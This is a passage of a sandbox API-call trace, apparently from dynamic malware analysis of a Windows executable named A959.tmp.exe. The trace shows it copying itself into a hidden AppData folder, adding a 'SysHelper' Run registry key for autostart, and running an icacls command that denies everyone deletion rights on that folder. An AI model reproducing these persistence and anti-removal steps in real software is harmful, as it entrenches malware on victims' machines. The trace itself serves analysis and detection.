HALPmcxz\\Desktop\\A959.tmp.exe" [0041.260] lstrcpyW (in: lpString1=0x18d0f0, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe" [0041.261] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe\" " [0041.261] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe\" ", pNumArgs=0x18c3dc | out: pNumArgs=0x18c3dc) returned 0x312bdc8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe" [0041.261] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe") returned="A959.tmp.exe" [0041.261] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76c20000 [0041.262] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcesses") returned 0x0 [0041.262] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcessModules") returned 0x0 [0041.262] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleBaseNameW") returned 0x0 [0041.262] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x75140000 [0041.291] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcesses") returned 0x75141544 [0041.292] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcessModules") returned 0x75141408 [0041.292] GetProcAddress (hModule=0x75140000, lpProcName="GetModuleBaseNameW") returned 0x7514152c [0041.292] EnumProcesses (in: lpidProcess=0x181bd8, cb=0xa000, lpcbNeeded=0x18c3e8 | out: lpidProcess=0x181bd8, lpcbNeeded=0x18c3e8) returned 1 [0041.294] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0041.294] CloseHandle (hObject=0x0) returned 0 [0041.294] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0041.294] CloseHandle (hObject=0x0) returned 0 [0041.295] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0041.295] CloseHandle (hObject=0x0) returned 0 [0041.295] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0041.295] CloseHandle (hObject=0x0) returned 0 [0041.295] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0041.295] CloseHandle (hObject=0x0) returned 0 [0041.295] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0041.295] CloseHandle (hObject=0x0) returned 0 [0041.295] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0041.295] CloseHandle (hObject=0x0) returned 0 [0041.295] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1cc) returned 0x0 [0041.295] CloseHandle (hObject=0x0) returned 0 [0041.295] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d4) returned 0x0 [0041.295] CloseHandle (hObject=0x0) returned 0 [0041.295] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0041.295] CloseHandle (hObject=0x0) returned 0 [0041.295] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0041.295] CloseHandle (hObject=0x0) returned 0 [0041.295] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0041.295] CloseHandle (hObject=0x0) returned 0 [0041.295] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0041.295] CloseHandle (hObject=0x0) returned 0 [0041.295] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x334) returned 0x0 [0041.295] CloseHandle (hObject=0x0) returned 0 [0041.296] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x36c) returned 0x0 [0041.296] CloseHandle (hObject=0x0) returned 0 [0041.296] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a8) returned 0x0 [0041.296] CloseHandle (hObject=0x0) returned 0 [0041.296] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3f8) returned 0x0 [0041.296] CloseHandle (hObject=0x0) returned 0 [0041.296] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x124) returned 0x0 [0041.296] CloseHandle (hObject=0x0) returned 0 [0041.296] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x5b4 [0041.296] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 0 [0041.296] CloseHandle (hObject=0x5b4) returned 1 [0041.296] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x45c) returned 0x5b4 [0041.296] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 0 [0041.296] CloseHandle (hObject=0x5b4) returned 1 [0041.296] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x480) returned 0x0 [0041.296] CloseHandle (hObject=0x0) returned 0 [0041.296] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4ac) returned 0x5b4 [0041.296] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 0 [0041.297] CloseHandle (hObject=0x5b4) returned 1 [0041.297] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d4) returned 0x0 [0041.297] CloseHandle (hObject=0x0) returned 0 [0041.297] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x50c) returned 0x5b4 [0041.297] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 0 [0041.297] CloseHandle (hObject=0x5b4) returned 1 [0041.297] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5f4) returned 0x0 [0041.297] CloseHandle (hObject=0x0) returned 0 [0041.297] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5c4) returned 0x5b4 [0041.297] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0041.298] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0xdf0000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="plannedrespondents.exe") returned 0x16 [0041.299] CloseHandle (hObject=0x5b4) returned 1 [0041.299] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6fc) returned 0x5b4 [0041.299] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0041.300] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0x11a0000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="actor-suggesting.exe") returned 0x14 [0041.300] CloseHandle (hObject=0x5b4) returned 1 [0041.300] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc0) returned 0x5b4 [0041.300] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0041.301] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0x1200000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="knives.exe") returned 0xa [0041.301] CloseHandle (hObject=0x5b4) returned 1 [0041.301] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7d8) returned 0x5b4 [0041.301] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0041.302] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0xd70000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="reward stan distances.exe") returned 0x19 [0041.302] CloseHandle (hObject=0x5b4) returned 1 [0041.302] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x184) returned 0x5b4 [0041.302] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0041.303] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0xc00000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="corporations verse fetish.exe") returned 0x1d [0041.303] CloseHandle (hObject=0x5b4) returned 1 [0041.303] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x618) returned 0x5b4 [0041.303] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0041.304] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0x320000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="merger.exe") returned 0xa [0041.305] CloseHandle (hObject=0x5b4) returned 1 [0041.305] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x344) returned 0x5b4 [0041.305] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0041.306] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0x160000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="ideas.exe") returned 0x9 [0041.306] CloseHandle (hObject=0x5b4) returned 1 [0041.306] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2c8) returned 0x5b4 [0041.306] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0041.307] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0xc20000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="portion-sunday.exe") returned 0x12 [0041.307] CloseHandle (hObject=0x5b4) returned 1 [0041.307] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x310) returned 0x5b4 [0041.307] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0041.308] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0xfe0000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="combat_univ.exe") returned 0xf [0041.308] CloseHandle (hObject=0x5b4) returned 1 [0041.308] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x318) returned 0x5b4 [0041.308] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0041.309] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0x1290000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="paul dancing za.exe") returned 0x13 [0041.309] CloseHandle (hObject=0x5b4) returned 1 [0041.310] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7b0) returned 0x5b4 [0041.310] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0041.310] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0x12a0000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="artistscomplicated.exe") returned 0x16 [0041.311] CloseHandle (hObject=0x5b4) returned 1 [0041.311] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x438) returned 0x5b4 [0041.311] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0041.312] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0x11c0000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="consortiumdressinglou.exe") returned 0x19 [0041.312] CloseHandle (hObject=0x5b4) returned 1 [0041.312] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7a4) returned 0x5b4 [0041.312] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0041.313] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0x10f0000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="implications cheque folders.exe") returned 0x1f [0041.313] CloseHandle (hObject=0x5b4) returned 1 [0041.313] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7bc) returned 0x5b4 [0041.313] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0041.314] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0x110000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="msie_banners.exe") returned 0x10 [0041.314] CloseHandle (hObject=0x5b4) returned 1 [0041.314] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11c) returned 0x5b4 [0041.314] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0041.315] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0x1210000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="yard-assessing-fraction.exe") returned 0x1b [0041.316] CloseHandle (hObject=0x5b4) returned 1 [0041.316] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x320) returned 0x5b4 [0041.316] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0041.317] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0x12e0000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="biodiversitybelieves.exe") returned 0x18 [0041.317] CloseHandle (hObject=0x5b4) returned 1 [0041.317] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7e8) returned 0x5b4 [0041.317] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0041.318] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0xc90000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="roleri.exe") returned 0xa [0041.318] CloseHandle (hObject=0x5b4) returned 1 [0041.318] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x494) returned 0x5b4 [0041.318] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0041.319] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0x1330000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="genre-heaven.exe") returned 0x10 [0041.319] CloseHandle (hObject=0x5b4) returned 1 [0041.319] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7c4) returned 0x0 [0041.319] CloseHandle (hObject=0x0) returned 0 [0041.319] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7b4) returned 0x5b4 [0041.319] EnumProcessModules (in: hProcess=0x5b4, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0041.321] GetModuleBaseNameW (in: hProcess=0x5b4, hModule=0x400000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="A959.tmp.exe") returned 0xc [0041.321] CloseHandle (hObject=0x5b4) returned 1 [0041.321] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x28) returned 0x6d53d8 [0041.321] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x25c) returned 0x30f28e0 [0041.321] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x25c) returned 0x30f4028 [0041.321] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x25c) returned 0x3109c80 [0041.321] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x25c) returned 0x3109ee8 [0041.321] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x25c) returned 0x310a150 [0041.321] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x25c) returned 0x30ec4e0 [0041.321] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x25c) returned 0x30ec748 [0041.321] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x25c) returned 0x30ec9b0 [0041.321] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x25c) returned 0x30ecc18 [0041.321] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x25c) returned 0x30ece80 [0041.321] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18c3d8 | out: phkResult=0x18c3d8*=0x5b4) returned 0x0 [0041.321] RegQueryValueExW (in: hKey=0x5b4, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18c3d4, lpData=0x18ab00, lpcbData=0x18c3b8*=0x400 | out: lpType=0x18c3d4*=0x0, lpData=0x18ab00*=0x0, lpcbData=0x18c3b8*=0x400) returned 0x2 [0041.321] RegCloseKey (hKey=0x5b4) returned 0x0 [0041.321] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0041.322] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0041.322] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe\" " [0041.322] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe\" ", pNumArgs=0x18c39c | out: pNumArgs=0x18c39c) returned 0x312be40*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe" [0041.322] lstrcpyW (in: lpString1=0x18a300, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe" [0041.322] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe") returned="A959.tmp.exe" [0041.322] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x18bb00 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0041.322] UuidCreate (in: Uuid=0x18c34c | out: Uuid=0x18c34c) returned 0x0 [0041.322] UuidToStringW (in: Uuid=0x18c34c, StringUuid=0x18c3e0 | out: StringUuid=0x18c3e0) returned 0x0 [0041.322] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x50) returned 0x3111dc0 [0041.322] RpcMgmtStatsVectorFree (in: StatsVector=0x18c3e0 | out: StatsVector=0x18c3e0) returned 0x0 [0041.322] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="34ab4241-89d8-4896-a0ef-745528a314bb" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb") returned 1 [0041.322] CreateDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\34ab4241-89d8-4896-a0ef-745528a314bb"), lpSecurityAttributes=0x0) returned 1 [0041.323] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xb0) returned 0x30d9760 [0041.323] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xb0) returned 0x30d9818 [0041.323] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb", pMore="A959.tmp.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe") returned 1 [0041.323] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\34ab4241-89d8-4896-a0ef-745528a314bb\\a959.tmp.exe")) returned 0 [0041.323] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a959.tmp.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\34ab4241-89d8-4896-a0ef-745528a314bb\\a959.tmp.exe"), bFailIfExists=0) returned 1 [0041.348] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18c3dc | out: phkResult=0x18c3dc*=0x5b8) returned 0x0 [0041.348] lstrcpyW (in: lpString1=0x18b300, lpString2="\"" | out: lpString1="\"") returned="\"" [0041.348] lstrcatW (in: lpString1="\"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe" [0041.348] lstrcatW (in: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe", lpString2="\" --AutoStart" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe\" --AutoStart") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe\" --AutoStart" [0041.348] lstrlenW (lpString="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe\" --AutoStart") returned 107 [0041.348] RegSetValueExW (in: hKey=0x5b8, lpValueName="SysHelper", Reserved=0x0, dwType=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe\" --AutoStart", cbData=0xd6 | out: lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe\" --AutoStart") returned 0x0 [0041.348] RegCloseKey (hKey=0x5b8) returned 0x0 [0041.348] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc0) returned 0x311a830 [0041.348] SetLastError (dwErrCode=0x0) [0041.348] lstrcpyW (in: lpString1=0x189300, lpString2="icacls \"" | out: lpString1="icacls \"") returned="icacls \"" [0041.348] lstrcatW (in: lpString1="icacls \"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb" | out: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb") returned="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb" [0041.348] lstrcatW (in: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb", lpString2="\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" | out: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\" /deny *S-1-1-0:(OI)(CI)(DE,DC)") returned="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" [0041.348] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\" /deny *S-1-1-0:(OI)(CI)(DE,DC)", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x48, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c300*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c35c | out: lpCommandLine="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\" /deny *S-1-1-0:(OI)(CI)(DE,DC)", lpProcessInformation=0x18c35c*(hProcess=0x5b4, hThread=0x5b8, dwProcessId=0x358, dwThreadId=0x7fc)) returned 1 [0041.367] WaitForSingleObject (hHandle=0x5b4, dwMilliseconds=0x1) returned 0x102 [0041.451] WaitForSingleObject (hHandle=0x5b4, dwMilliseconds=0x1) returned 0x102 [0041.454] WaitForSingleObject (hHandle=0x5b4, dwMilliseconds=0x1) returned 0x102 [0041.469] WaitForSingleObject (hHandle=0x5b4, dwMilliseconds=0x1) returned 0x102 [0041.485] WaitForSingleObject (hHandle=0x5b4, dwMilliseconds=0x1) returned 0x102 [0041.503] WaitForSingleObject (hHandle=0x5b4, dwMilliseconds=0x1) returned 0x0 [0041.511] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x30d9818 | out: hHeap=0x620000) returned 1 [0041.511] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x3111dc0 | out: hHeap=0x620000) returned 1 [0041.511] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc0) returned 0x311a8f8 [0041.511] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc0) returned 0x311a9c0 [0041.511] CoInitialize (pvReserved=0x0) returned 0x0 [0041.801] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0041.802] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc0) returned 0x311aa88 [0041.802] CoCreateInstance (in: rclsid=0x44ffcc*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, 